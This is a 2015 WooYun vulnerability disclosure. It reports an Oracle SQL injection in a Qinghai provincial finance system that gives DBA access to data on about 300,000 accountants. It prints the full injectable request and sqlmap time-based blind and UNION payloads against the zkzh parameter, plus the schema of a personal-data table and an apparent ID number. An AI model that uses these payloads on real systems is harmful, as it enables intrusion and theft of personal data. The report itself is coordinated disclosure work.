当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158391

漏洞标题: 青海省财政厅某重要系统DBA权限orale注入(涉及近30W会计会员信息)

相关厂商:青海省某单位

漏洞作者: 无名人

提交时间:2015-12-05 00:20

修复时间:2016-01-23 15:16

公开时间:2016-01-23 15:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-05: 细节已通知厂商并且等待厂商处理中
2015-12-09: 厂商已经确认,细节仅向厂商公开
2015-12-19: 细节向核心白帽子及相关领域专家公开
2015-12-29: 细节向普通白帽子公开
2016-01-08: 细节向实习白帽子公开
2016-01-23: 细节向公众公开

简要描述:

RT

详细说明:

漏洞地址:

POST /chengjichaxun/hgcxjg2009_new.jsp HTTP/1.1
Host: **.**.**.**:8011
Proxy-Connection: keep-alive
Content-Length: 77
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://**.**.**.**:8011
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://**.**.**.**:8011/cjcx_congye.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=abcgg-GxI1CPmfonxiTfv
tbl=201511&zkzh=234141221211122*&sfzh=230124198204255116&sbtyes=%B2%E9++%D1%AF


zkzh参数存在注入

---
Parameter: #1* ((custom) POST)
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: tbl=201511&zkzh=234141221211122' AND 1792=DBMS_PIPE.RECEIVE_MESSAGE
(CHR(103)||CHR(70)||CHR(83)||CHR(85),5) AND 'eeUv'='eeUv&sfzh=230124198204255116
&sbtyes=%B2%E9 %D1%AF
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: tbl=201511&zkzh=234141221211122' UNION ALL SELECT NULL,CHR(113)||CH
R(107)||CHR(122)||CHR(113)||CHR(113)||CHR(80)||CHR(120)||CHR(106)||CHR(69)||CHR(
90)||CHR(113)||CHR(105)||CHR(77)||CHR(74)||CHR(119)||CHR(120)||CHR(71)||CHR(65)|
|CHR(65)||CHR(70)||CHR(115)||CHR(86)||CHR(116)||CHR(118)||CHR(107)||CHR(83)||CHR
(81)||CHR(120)||CHR(121)||CHR(112)||CHR(76)||CHR(104)||CHR(101)||CHR(108)||CHR(7
5)||CHR(80)||CHR(110)||CHR(78)||CHR(85)||CHR(77)||CHR(67)||CHR(105)||CHR(82)||CH
R(112)||CHR(79)||CHR(113)||CHR(120)||CHR(122)||CHR(112)||CHR(113),NULL,NULL,NULL
,NULL,NULL,NULL,NULL,NULL FROM DUAL-- &sfzh=230124198204255116&sbtyes=%B2%E9 %D
1%AF
---
[21:27:39] [INFO] the back-end DBMS is Oracle
back-end DBMS: Oracle

漏洞证明:

数据库:

数据库.png


dba权限:

dba.png


近30W会计会员信息

会计人员信息.png


会员信息表列:

Database: QHPLATFORM
Table: ACCOUNTANT_BASE
[85 columns]
+-----------------+-----------+
| Column | Type |
+-----------------+-----------+
| TRANSLATE | VARCHAR2 |
| ABACUS_LEVEL | VARCHAR2 |
| ABACUS_NUM | NVARCHAR2 |
| ACNT_ID | VARCHAR2 |
| ACNT_POSITION | VARCHAR2 |
| ACNT_WORK_DATE | VARCHAR2 |
| ADMIN_POST | VARCHAR2 |
| AREA_CODE | VARCHAR2 |
| BIRTH | VARCHAR2 |
| COUNTRY | VARCHAR2 |
| DEF_BLOB1 | BLOB |
| DEF_BLOB2 | BLOB |
| DEF_NUM1 | NUMBER |
| DEF_NUM2 | NUMBER |
| DEF_STR2 | NVARCHAR2 |
| DEF_STR3 | NVARCHAR2 |
| DEF_STR4 | NVARCHAR2 |
| DEF_STR5 | NVARCHAR2 |
| DSHJB | VARCHAR2 |
| DSHZSH | NVARCHAR2 |
| DXYXQ | VARCHAR2 |
| EDU_YEAR | VARCHAR2 |
| EMAIL | VARCHAR2 |
| FT_DEGREE | VARCHAR2 |
| FT_EDU_GDATE | VARCHAR2 |
| FT_EDU_PRO | VARCHAR2 |
| FT_EDU_UNIVE | VARCHAR2 |
| FT_EDUCATION | VARCHAR2 |
| HZRQ | VARCHAR2 |
| ID | NUMBER |
| ID_NUM | VARCHAR2 |
| ID_TYPE | VARCHAR2 |
| INFO_GXBZ | VARCHAR2 |
| IS_ATWORK | VARCHAR2 |
| IS_CPA | VARCHAR2 |
| IS_CPV | VARCHAR2 |
| IS_CTA | VARCHAR2 |
| IS_HL_TALENT | VARCHAR2 |
| IS_SB | VARCHAR2 |
| IS_ZC | VARCHAR2 |
| JSC_AUTH_DATE | VARCHAR2 |
| JSC_AUTH_ORG | VARCHAR2 |
| JSC_REG_DATE | VARCHAR2 |
| MIGRT_IN_REGION | VARCHAR2 |
| MOBILE | VARCHAR2 |
| NAME | VARCHAR2 |
| NATION | VARCHAR2 |
| OFF_DUTY_DATE | VARCHAR2 |
| ON_DUTY_DATE | VARCHAR2 |
| ORG_ADDRESS | VARCHAR2 |
| ORG_FULL_NAME | VARCHAR2 |
| ORG_TEL | VARCHAR2 |
| ORG_TYPE | VARCHAR2 |
| PICTURE | BLOB |
| PICTURE_GXBZ | VARCHAR2 |
| POLTC_STATUS | VARCHAR2 |
| PQ_CARD_NUM | VARCHAR2 |
| PQ_GET_DATE | VARCHAR2 |
| PQ_GET_TYPE | VARCHAR2 |
| PQ_LEVEL | VARCHAR2 |
| PQ_POST | VARCHAR2 |
| PQ_POST_GDATE | VARCHAR2 |
| PQ_TYPE | VARCHAR2 |
| PRINT_DAY | VARCHAR2 |
| PT_DEGREE | VARCHAR2 |
| PT_DEGREE_DATE | VARCHAR2 |
| PT_DEGREE_PRO | VARCHAR2 |
| PT_DEGREE_UNIVE | VARCHAR2 |
| PT_EDUCATION | VARCHAR2 |
| QZFS | VARCHAR2 |
| RCJL | VARCHAR2 |
| REGION_CODE | VARCHAR2 |
| SB_DATE | VARCHAR2 |
| SCZSFFR | NVARCHAR2 |
| SEX | VARCHAR2 |
| STATUS | VARCHAR2 |
| TALENT_GET_DATE | VARCHAR2 |
| TALENT_TYPE | VARCHAR2 |
| TRANSLATE_YEAR | NVARCHAR2 |
| XQFJG | VARCHAR2 |
| XZSFFR | NVARCHAR2 |
| YXBZ | VARCHAR2 |
| ZC_DATE | VARCHAR2 |
| ZSGLH | VARCHAR2 |
| ZSYXQ | VARCHAR2 |
+-----------------+-----------+

修复方案:

@@

版权声明:转载请注明来源 无名人@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-09 17:39

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给青海分中心,由其后续协调网站管理单位处置.

最新状态:

暂无